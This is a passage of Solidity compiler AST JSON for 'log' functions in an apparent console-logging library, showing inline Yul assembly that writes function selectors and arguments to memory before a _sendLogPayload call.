mes":[{"name":"m1","nativeSrc":"49135:2:22","nodeType":"YulIdentifier","src":"49135:2:22"}]},{"nativeSrc":"49165:17:22","nodeType":"YulAssignment","src":"49165:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"49177:4:22","nodeType":"YulLiteral","src":"49177:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"49171:5:22","nodeType":"YulIdentifier","src":"49171:5:22"},"nativeSrc":"49171:11:22","nodeType":"YulFunctionCall","src":"49171:11:22"},"variableNames":[{"name":"m2","nativeSrc":"49165:2:22","nodeType":"YulIdentifier","src":"49165:2:22"}]},{"nativeSrc":"49195:17:22","nodeType":"YulAssignment","src":"49195:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"49207:4:22","nodeType":"YulLiteral","src":"49207:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"49201:5:22","nodeType":"YulIdentifier","src":"49201:5:22"},"nativeSrc":"49201:11:22","nodeType":"YulFunctionCall","src":"49201:11:22"},"variableNames":[{"name":"m3","nativeSrc":"49195:2:22","nodeType":"YulIdentifier","src":"49195:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"49291:4:22","nodeType":"YulLiteral","src":"49291:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"49297:10:22","nodeType":"YulLiteral","src":"49297:10:22","type":"","value":"0x5a9b5ed5"}],"functionName":{"name":"mstore","nativeSrc":"49284:6:22","nodeType":"YulIdentifier","src":"49284:6:22"},"nativeSrc":"49284:24:22","nodeType":"YulFunctionCall","src":"49284:24:22"},"nativeSrc":"49284:24:22","nodeType":"YulExpressionStatement","src":"49284:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"49328:4:22","nodeType":"YulLiteral","src":"49328:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"49334:2:22","nodeType":"YulIdentifier","src":"49334:2:22"}],"functionName":{"name":"mstore","nativeSrc":"49321:6:22","nodeType":"YulIdentifier","src":"49321:6:22"},"nativeSrc":"49321:16:22","nodeType":"YulFunctionCall","src":"49321:16:22"},"nativeSrc":"49321:16:22","nodeType":"YulExpressionStatement","src":"49321:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"49357:4:22","nodeType":"YulLiteral","src":"49357:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"49363:2:22","nodeType":"YulIdentifier","src":"49363:2:22"}],"functionName":{"name":"mstore","nativeSrc":"49350:6:22","nodeType":"YulIdentifier","src":"49350:6:22"},"nativeSrc":"49350:16:22","nodeType":"YulFunctionCall","src":"49350:16:22"},"nativeSrc":"49350:16:22","nodeType":"YulExpressionStatement","src":"49350:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"49386:4:22","nodeType":"YulLiteral","src":"49386:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"49392:2:22","nodeType":"YulIdentifier","src":"49392:2:22"}],"functionName":{"name":"mstore","nativeSrc":"49379:6:22","nodeType":"YulIdentifier","src":"49379:6:22"},"nativeSrc":"49379:16:22","nodeType":"YulFunctionCall","src":"49379:16:22"},"nativeSrc":"49379:16:22","nodeType":"YulExpressionStatement","src":"49379:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35294,"isOffset":false,"isSlot":false,"src":"49105:2:22","valueSize":1},{"declaration":35297,"isOffset":false,"isSlot":false,"src":"49135:2:22","valueSize":1},{"declaration":35300,"isOffset":false,"isSlot":false,"src":"49165:2:22","valueSize":1},{"declaration":35303,"isOffset":false,"isSlot":false,"src":"49195:2:22","valueSize":1},{"declaration":35286,"isOffset":false,"isSlot":false,"src":"49334:2:22","valueSize":1},{"declaration":35288,"isOffset":false,"isSlot":false,"src":"49363:2:22","valueSize":1},{"declaration":35290,"isOffset":false,"isSlot":false,"src":"49392:2:22","valueSize":1}],"id":35305,"nodeType":"InlineAssembly","src":"49082:323:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":35307,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"49430:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783634","id":35308,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"49436:4:22","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"0x64"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"id":35306,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"49414:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":35309,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"49414:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":35310,"nodeType":"ExpressionStatement","src":"49414:27:22"},{"AST":{"nativeSrc":"49460:127:22","nodeType":"YulBlock","src":"49460:127:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"49481:4:22","nodeType":"YulLiteral","src":"49481:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"49487:2:22","nodeType":"YulIdentifier","src":"49487:2:22"}],"functionName":{"name":"mstore","nativeSrc":"49474:6:22","nodeType":"YulIdentifier","src":"49474:6:22"},"nativeSrc":"49474:16:22","nodeType":"YulFunctionCall","src":"49474:16:22"},"nativeSrc":"49474:16:22","nodeType":"YulExpressionStatement","src":"49474:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"49510:4:22","nodeType":"YulLiteral","src":"49510:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"49516:2:22","nodeType":"YulIdentifier","src":"49516:2:22"}],"functionName":{"name":"mstore","nativeSrc":"49503:6:22","nodeType":"YulIdentifier","src":"49503:6:22"},"nativeSrc":"49503:16:22","nodeType":"YulFunctionCall","src":"49503:16:22"},"nativeSrc":"49503:16:22","nodeType":"YulExpressionStatement","src":"49503:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"49539:4:22","nodeType":"YulLiteral","src":"49539:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"49545:2:22","nodeType":"YulIdentifier","src":"49545:2:22"}],"functionName":{"name":"mstore","nativeSrc":"49532:6:22","nodeType":"YulIdentifier","src":"49532:6:22"},"nativeSrc":"49532:16:22","nodeType":"YulFunctionCall","src":"49532:16:22"},"nativeSrc":"49532:16:22","nodeType":"YulExpressionStatement","src":"49532:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"49568:4:22","nodeType":"YulLiteral","src":"49568:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"49574:2:22","nodeType":"YulIdentifier","src":"49574:2:22"}],"functionName":{"name":"mstore","nativeSrc":"49561:6:22","nodeType":"YulIdentifier","src":"49561:6:22"},"nativeSrc":"49561:16:22","nodeType":"YulFunctionCall","src":"49561:16:22"},"nativeSrc":"49561:16:22","nodeType":"YulExpressionStatement","src":"49561:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35294,"isOffset":false,"isSlot":false,"src":"49487:2:22","valueSize":1},{"declaration":35297,"isOffset":false,"isSlot":false,"src":"49516:2:22","valueSize":1},{"declaration":35300,"isOffset":false,"isSlot":false,"src":"49545:2:22","valueSize":1},{"declaration":35303,"isOffset":false,"isSlot":false,"src":"49574:2:22","valueSize":1}],"id":35311,"nodeType":"InlineAssembly","src":"49451:136:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"48938:3:22","parameters":{"id":35291,"nodeType":"ParameterList","parameters":[{"constant":false,"id":35286,"mutability":"mutable","name":"p0","nameLocation":"48950:2:22","nodeType":"VariableDeclaration","scope":35313,"src":"48942:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":35285,"name":"uint256","nodeType":"ElementaryTypeName","src":"48942:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":35288,"mutability":"mutable","name":"p1","nameLocation":"48962:2:22","nodeType":"VariableDeclaration","scope":35313,"src":"48954:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":35287,"name":"address","nodeType":"ElementaryTypeName","src":"48954:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":35290,"mutability":"mutable","name":"p2","nameLocation":"48974:2:22","nodeType":"VariableDeclaration","scope":35313,"src":"48966:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":35289,"name":"uint256","nodeType":"ElementaryTypeName","src":"48966:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"48941:36:22"},"returnParameters":{"id":35292,"nodeType":"ParameterList","parameters":[],"src":"48992:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":35348,"nodeType":"FunctionDefinition","src":"49599:1212:22","nodes":[],"body":{"id":35347,"nodeType":"Block","src":"49662:1149:22","nodes":[],"statements":[{"assignments":[35323],"declarations":[{"constant":false,"id":35323,"mutability":"mutable","name":"m0","nameLocation":"49680:2:22","nodeType":"VariableDeclaration","scope":35347,"src":"49672:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35322,"name":"bytes32","nodeType":"ElementaryTypeName","src":"49672:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35324,"nodeType":"VariableDeclarationStatement","src":"49672:10:22"},{"assignments":[35326],"declarations":[{"constant":false,"id":35326,"mutability":"mutable","name":"m1","nameLocation":"49700:2:22","nodeType":"VariableDeclaration","scope":35347,"src":"49692:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35325,"name":"bytes32","nodeType":"ElementaryTypeName","src":"49692:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35327,"nodeType":"VariableDeclarationStatement","src":"49692:10:22"},{"assignments":[35329],"declarations":[{"constant":false,"id":35329,"mutability":"mutable","name":"m2","nameLocation":"49720:2:22","nodeType":"VariableDeclaration","scope":35347,"src":"49712:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35328,"name":"bytes32","nodeType":"ElementaryTypeName","src":"49712:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35330,"nodeType":"VariableDeclarationStatement","src":"49712:10:22"},{"assignments":[35332],"declarations":[{"constant":false,"id":35332,"mutability":"mutable","name":"m3","nameLocation":"49740:2:22","nodeType":"VariableDeclaration","scope":35347,"src":"49732:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35331,"name":"bytes32","nodeType":"ElementaryTypeName","src":"49732:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35333,"nodeType":"VariableDeclarationStatement","src":"49732:10:22"},{"assignments":[35335],"declarations":[{"constant":false,"id":35335,"mutability":"mutable","name":"m4","nameLocation":"49760:2:22","nodeType":"VariableDeclaration","scope":35347,"src":"49752:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35334,"name":"bytes32","nodeType":"ElementaryTypeName","src":"49752:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35336,"nodeType":"VariableDeclarationStatement","src":"49752:10:22"},{"assignments":[35338],"declarations":[{"constant":false,"id":35338,"mutability":"mutable","name":"m5","nameLocation":"49780:2:22","nodeType":"VariableDeclaration","scope":35347,"src":"49772:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35337,"name":"bytes32","nodeType":"ElementaryTypeName","src":"49772:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35339,"nodeType":"VariableDeclarationStatement","src":"49772:10:22"},{"AST":{"nativeSrc":"49801:764:22","nodeType":"YulBlock","src":"49801:764:22","statements":[{"body":{"nativeSrc":"49844:313:22","nodeType":"YulBlock","src":"49844:313:22","statements":[{"nativeSrc":"49862:15:22","nodeType":"YulVariableDeclaration","src":"49862:15:22","value":{"kind":"number","nativeSrc":"49876:1:22","nodeType":"YulLiteral","src":"49876:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"49866:6:22","nodeType":"YulTypedName","src":"49866:6:22","type":""}]},{"body":{"nativeSrc":"49947:40:22","nodeType":"YulBlock","src":"49947:40:22","statements":[{"body":{"nativeSrc":"49976:9:22","nodeType":"YulBlock","src":"49976:9:22","statements":[{"nativeSrc":"49978:5:22","nodeType":"YulBreak","src":"49978:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"49964:6:22","nodeType":"YulIdentifier","src":"49964:6:22"},{"name":"w","nativeSrc":"49972:1:22","nodeType":"YulIdentifier","src":"49972:1:22"}],"functionName":{"name":"byte","nativeSrc":"49959:4:22","nodeType":"YulIdentifier","src":"49959:4:22"},"nativeSrc":"49959:15:22","nodeType":"YulFunctionCall","src":"49959:15:22"}],"functionName":{"name":"iszero","nativeSrc":"49952:6:22","nodeType":"YulIdentifier","src":"49952:6:22"},"nativeSrc":"49952:23:22","nodeType":"YulFunctionCall","src":"49952:23:22"},"nativeSrc":"49949:36:22","nodeType":"YulIf","src":"49949:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"49904:6:22","nodeType":"YulIdentifier","src":"49904:6:22"},{"kind":"number","nativeSrc":"49912:4:22","nodeType":"YulLiteral","src":"49912:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"49901:2:22","nodeType":"YulIdentifier","src":"49901:2:22"},"nativeSrc":"49901:16:22","nodeType":"YulFunctionCall","src":"49901:16:22"},"nativeSrc":"49894:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"49918:28:22","nodeType":"YulBlock","src":"49918:28:22","statements":[{"nativeSrc":"49920:24:22","nodeType":"YulAssignment","src":"49920:24:22","value":{"arguments":[{"name":"length","nativeSrc":"49934:6:22","nodeType":"YulIdentifier","src":"49934:6:22"},{"kind":"number","nativeSrc":"49942:1:22","nodeType":"YulLiteral","src":"49942:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"49930:3:22","nodeType":"YulIdentifier","src":"49930:3:22"},"nativeSrc":"49930:14:22","nodeType":"YulFunctionCall","src":"49930:14:22"},"variableNames":[{"name":"length","nativeSrc":"49920:6:22","nodeType":"YulIdentifier","src":"49920:6:22"}]}]},"pre":{"nativeSrc":"49898:2:22","nodeType":"YulBlock","src":"49898:2:22","statements":[]},"src":"49894:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"50011:3:22","nodeType":"YulIdentifier","src":"50011:3:22"},{"name":"length","nativeSrc":"50016:6:22","nodeType":"YulIdentifier","src":"50016:6:22"}],"functionName":{"name":"mstore","nativeSrc":"50004:6:22","nodeType":"YulIdentifier","src":"50004:6:22"},"nativeSrc":"50004:19:22","nodeType":"YulFunctionCall","src":"50004:19:22"},"nativeSrc":"50004:19:22","nodeType":"YulExpressionStatement","src":"50004:19:22"},{"nativeSrc":"50040:37:22","nodeType":"YulVariableDeclaration","src":"50040:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"50057:3:22","nodeType":"YulLiteral","src":"50057:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"50066:1:22","nodeType":"YulLiteral","src":"50066:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"50069:6:22","nodeType":"YulIdentifier","src":"50069:6:22"}],"functionName":{"name":"shl","nativeSrc":"50062:3:22","nodeType":"YulIdentifier","src":"50062:3:22"},"nativeSrc":"50062:14:22","nodeType":"YulFunctionCall","src":"50062:14:22"}],"functionName":{"name":"sub","nativeSrc":"50053:3:22","nodeType":"YulIdentifier","src":"50053:3:22"},"nativeSrc":"50053:24:22","nodeType":"YulFunctionCall","src":"50053:24:22"},"variables":[{"name":"shift","nativeSrc":"50044:5:22","nodeType":"YulTypedName","src":"50044:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"50105:3:22","nodeType":"YulIdentifier","src":"50105:3:22"},{"kind":"number","nativeSrc":"50110:4:22","nodeType":"YulLiteral","src":"50110:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"50101:3:22","nodeType":"YulIdentifier","src":"50101:3:22"},"nativeSrc":"50101:14:22","nodeType":"YulFunctionCall","src":"50101:14:22"},{"arguments":[{"name":"shift","nativeSrc":"50121:5:22","nodeType":"YulIdentifier","src":"50121:5:22"},{"arguments":[{"name":"shift","nativeSrc":"50132:5:22","nodeType":"YulIdentifier","src":"50132:5:22"},{"name":"w","nativeSrc":"50139:1:22","nodeType":"YulIdentifier","src":"50139:1:22"}],"functionName":{"name":"shr","nativeSrc":"50128:3:22","nodeType":"YulIdentifier","src":"50128:3:22"},"nativeSrc":"50128:13:22","nodeType":"YulFunctionCall","src":"50128:13:22"}],"functionName":{"name":"shl","nativeSrc":"50117:3:22","nodeType":"YulIdentifier","src":"50117:3:22"},"nativeSrc":"50117:25:22","nodeType":"YulFunctionCall","src":"50117:25:22"}],"functionName":{"name":"mstore","nativeSrc":"50094:6:22","nodeType":"YulIdentifier","src":"50094:6:22"},"nativeSrc":"50094:49:22","nodeType":"YulFunctionCall","src":"50094:49:22"},"nativeSrc":"50094:49:22","nodeType":"YulExpressionStatement","src":"50094:49:22"}]},"name":"writeString","nativeSrc":"49815:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"49836:3:22","nodeType":"YulTypedName","src":"49836:3:22","type":""},{"name":"w","nativeSrc":"49841:1:22","nodeType":"YulTypedName","src":"49841:1:22","type":""}],"src":"49815:342:22"},{"nativeSrc":"50170:17:22","nodeType":"YulAssignment","src":"50170:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"50182:4:22","nodeType":"YulLiteral","src":"50182:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"50176:5:22","nodeType":"YulIdentifier","src":"50176:5:22"},"nativeSrc":"50176:11:22","nodeType":"YulFunctionCall","src":"50176:11:22"},"variableNames":[{"name":"m0","nativeSrc":"50170:2:22","nodeType":"YulIdentifier","src":"50170:2:22"}]},{"nativeSrc":"50200:17:22","nodeType":"YulAssignment","src":"50200:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"50212:4:22","nodeType":"YulLiteral","src":"50212:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"50206:5:22","nodeType":"YulIdentifier","src":"50206:5:22"},"nativeSrc":"50206:11:22","nodeType":"YulFunctionCall","src":"50206:11:22"},"variableNames":[{"name":"m1","nativeSrc":"50200:2:22","nodeType":"YulIdentifier","src":"50200:2:22"}]},{"nativeSrc":"50230:17:22","nodeType":"YulAssignment","src":"50230:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"50242:4:22","nodeType":"YulLiteral","src":"50242:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"50236:5:22","nodeType":"YulIdentifier","src":"50236:5:22"},"nativeSrc":"50236:11:22","nodeType":"YulFunctionCall","src":"50236:11:22"},"variableNames":[{"name":"m2","nativeSrc":"50230:2:22","nodeType":"YulIdentifier","src":"50230:2:22"}]},{"nativeSrc":"50260:17:22","nodeType":"YulAssignment","src":"50260:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"50272:4:22","nodeType":"YulLiteral","src":"50272:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"50266:5:22","nodeType":"YulIdentifier","src":"50266:5:22"},"nativeSrc":"50266:11:22","nodeType":"YulFunctionCall","src":"50266:11:22"},"variableNames":[{"name":"m3","nativeSrc":"50260:2:22","nodeType":"YulIdentifier","src":"50260:2:22"}]},{"nativeSrc":"50290:17:22","nodeType":"YulAssignment","src":"50290:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"50302:4:22","nodeType":"YulLiteral","src":"50302:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"50296:5:22","nodeType":"YulIdentifier","src":"50296:5:22"},"nativeSrc":"50296:11:22","nodeType":"YulFunctionCall","src":"50296:11:22"},"variableNames":[{"name":"m4","nativeSrc":"50290:2:22","nodeType":"YulIdentifier","src":"50290:2:22"}]},{"nativeSrc":"50320:17:22","nodeType":"YulAssignment","src":"50320:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"50332:4:22","nodeType":"YulLiteral","src":"50332:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"50326:5:22","nodeType":"YulIdentifier","src":"50326:5:22"},"nativeSrc":"50326:11:22","nodeType":"YulFunctionCall","src":"50326:11:22"},"variableNames":[{"name":"m5","nativeSrc":"50320:2:22","nodeType":"YulIdentifier","src":"50320:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"50415:4:22","nodeType":"YulLiteral","src":"50415:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"50421:10:22","nodeType":"YulLiteral","src":"50421:10:22","type":"","value":"0x63cb41f9"}],"functionName":{"name":"mstore","nativeSrc":"50408:6:22","nodeType":"YulIdentifier","src":"50408:6:22"},"nativeSrc":"50408:24:22","nodeType":"YulFunctionCall","src":"50408:24:22"},"nativeSrc":"50408:24:22","nodeType":"YulExpressionStatement","src":"50408:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"50452:4:22","nodeType":"YulLiteral","src":"50452:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"50458:2:22","nodeType":"YulIdentifier","src":"50458:2:22"}],"functionName":{"name":"mstore","nativeSrc":"50445:6:22","nodeType":"YulIdentifier","src":"50445:6:22"},"nativeSrc":"50445:16:22","nodeType":"YulFunctionCall","src":"50445:16:22"},"nativeSrc":"50445:16:22","nodeType":"YulExpressionStatement","src":"50445:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"50481:4:22","nodeType":"YulLiteral","src":"50481:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"50487:2:22","nodeType":"YulIdentifier","src":"50487:2:22"}],"functionName":{"name":"mstore","nativeSrc":"50474:6:22","nodeType":"YulIdentifier","src":"50474:6:22"},"nativeSrc":"50474:16:22","nodeType":"YulFunctionCall","src":"50474:16:22"},"nativeSrc":"50474:16:22","nodeType":"YulExpressionStatement","src":"50474:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"50510:4:22","nodeType":"YulLiteral","src":"50510:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"50516:4:22","nodeType":"YulLiteral","src":"50516:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"50503:6:22","nodeType":"YulIdentifier","src":"50503:6:22"},"nativeSrc":"50503:18:22","nodeType":"YulFunctionCall","src":"50503:18:22"},"nativeSrc":"50503:18:22","nodeType":"YulExpressionStatement","src":"50503:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"50546:4:22","nodeType":"YulLiteral","src":"50546:4:22","type":"","value":"0x80"},{"name":"p2","nativeSrc":"50552:2:22","nodeType":"YulIdentifier","src":"50552:2:22"}],"functionName":{"name":"writeString","nativeSrc":"50534:11:22","nodeType":"YulIdentifier","src":"50534:11:22"},"nativeSrc":"50534:21:22","nodeType":"YulFunctionCall","src":"50534:21:22"},"nativeSrc":"50534:21:22","nodeType":"YulExpressionStatement","src":"50534:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35323,"isOffset":false,"isSlot":false,"src":"50170:2:22","valueSize":1},{"declaration":35326,"isOffset":false,"isSlot":false,"src":"50200:2:22","valueSize":1},{"declaration":35329,"isOffset":false,"isSlot":false,"src":"50230:2:22","valueSize":1},{"declaration":35332,"isOffset":false,"isSlot":false,"src":"50260:2:22","valueSize":1},{"declaration":35335,"isOffset":false,"isSlot":false,"src":"50290:2:22","valueSize":1},{"declaration":35338,"isOffset":false,"isSlot":false,"src":"50320:2:22","valueSize":1},{"declaration":35315,"isOffset":false,"isSlot":false,"src":"50458:2:22","valueSize":1},{"declaration":35317,"isOffset":false,"isSlot":false,"src":"50487:2:22","valueSize":1},{"declaration":35319,"isOffset":false,"isSlot":false,"src":"50552:2:22","valueSize":1}],"id":35340,"nodeType":"InlineAssembly","src":"49792:773:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":35342,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"50590:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786134","id":35343,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"50596:4:22","typeDescriptions":{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"},"value":"0xa4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"}],"id":35341,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"50574:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":35344,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"50574:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":35345,"nodeType":"ExpressionStatement","src":"50574:27:22"},{"AST":{"nativeSrc":"50620:185:22","nodeType":"YulBlock","src":"50620:185:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"50641:4:22","nodeType":"YulLiteral","src":"50641:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"50647:2:22","nodeType":"YulIdentifier","src":"50647:2:22"}],"functionName":{"name":"mstore","nativeSrc":"50634:6:22","nodeType":"YulIdentifier","src":"50634:6:22"},"nativeSrc":"50634:16:22","nodeType":"YulFunctionCall","src":"50634:16:22"},"nativeSrc":"50634:16:22","nodeType":"YulExpressionStatement","src":"50634:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"50670:4:22","nodeType":"YulLiteral","src":"50670:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"50676:2:22","nodeType":"YulIdentifier","src":"50676:2:22"}],"functionName":{"name":"mstore","nativeSrc":"50663:6:22","nodeType":"YulIdentifier","src":"50663:6:22"},"nativeSrc":"50663:16:22","nodeType":"YulFunctionCall","src":"50663:16:22"},"nativeSrc":"50663:16:22","nodeType":"YulExpressionStatement","src":"50663:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"50699:4:22","nodeType":"YulLiteral","src":"50699:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"50705:2:22","nodeType":"YulIdentifier","src":"50705:2:22"}],"functionName":{"name":"mstore","nativeSrc":"50692:6:22","nodeType":"YulIdentifier","src":"50692:6:22"},"nativeSrc":"50692:16:22","nodeType":"YulFunctionCall","src":"50692:16:22"},"nativeSrc":"50692:16:22","nodeType":"YulExpressionStatement","src":"50692:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"50728:4:22","nodeType":"YulLiteral","src":"50728:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"50734:2:22","nodeType":"YulIdentifier","src":"50734:2:22"}],"functionName":{"name":"mstore","nativeSrc":"50721:6:22","nodeType":"YulIdentifier","src":"50721:6:22"},"nativeSrc":"50721:16:22","nodeType":"YulFunctionCall","src":"50721:16:22"},"nativeSrc":"50721:16:22","nodeType":"YulExpressionStatement","src":"50721:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"50757:4:22","nodeType":"YulLiteral","src":"50757:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"50763:2:22","nodeType":"YulIdentifier","src":"50763:2:22"}],"functionName":{"name":"mstore","nativeSrc":"50750:6:22","nodeType":"YulIdentifier","src":"50750:6:22"},"nativeSrc":"50750:16:22","nodeType":"YulFunctionCall","src":"50750:16:22"},"nativeSrc":"50750:16:22","nodeType":"YulExpressionStatement","src":"50750:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"50786:4:22","nodeType":"YulLiteral","src":"50786:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"50792:2:22","nodeType":"YulIdentifier","src":"50792:2:22"}],"functionName":{"name":"mstore","nativeSrc":"50779:6:22","nodeType":"YulIdentifier","src":"50779:6:22"},"nativeSrc":"50779:16:22","nodeType":"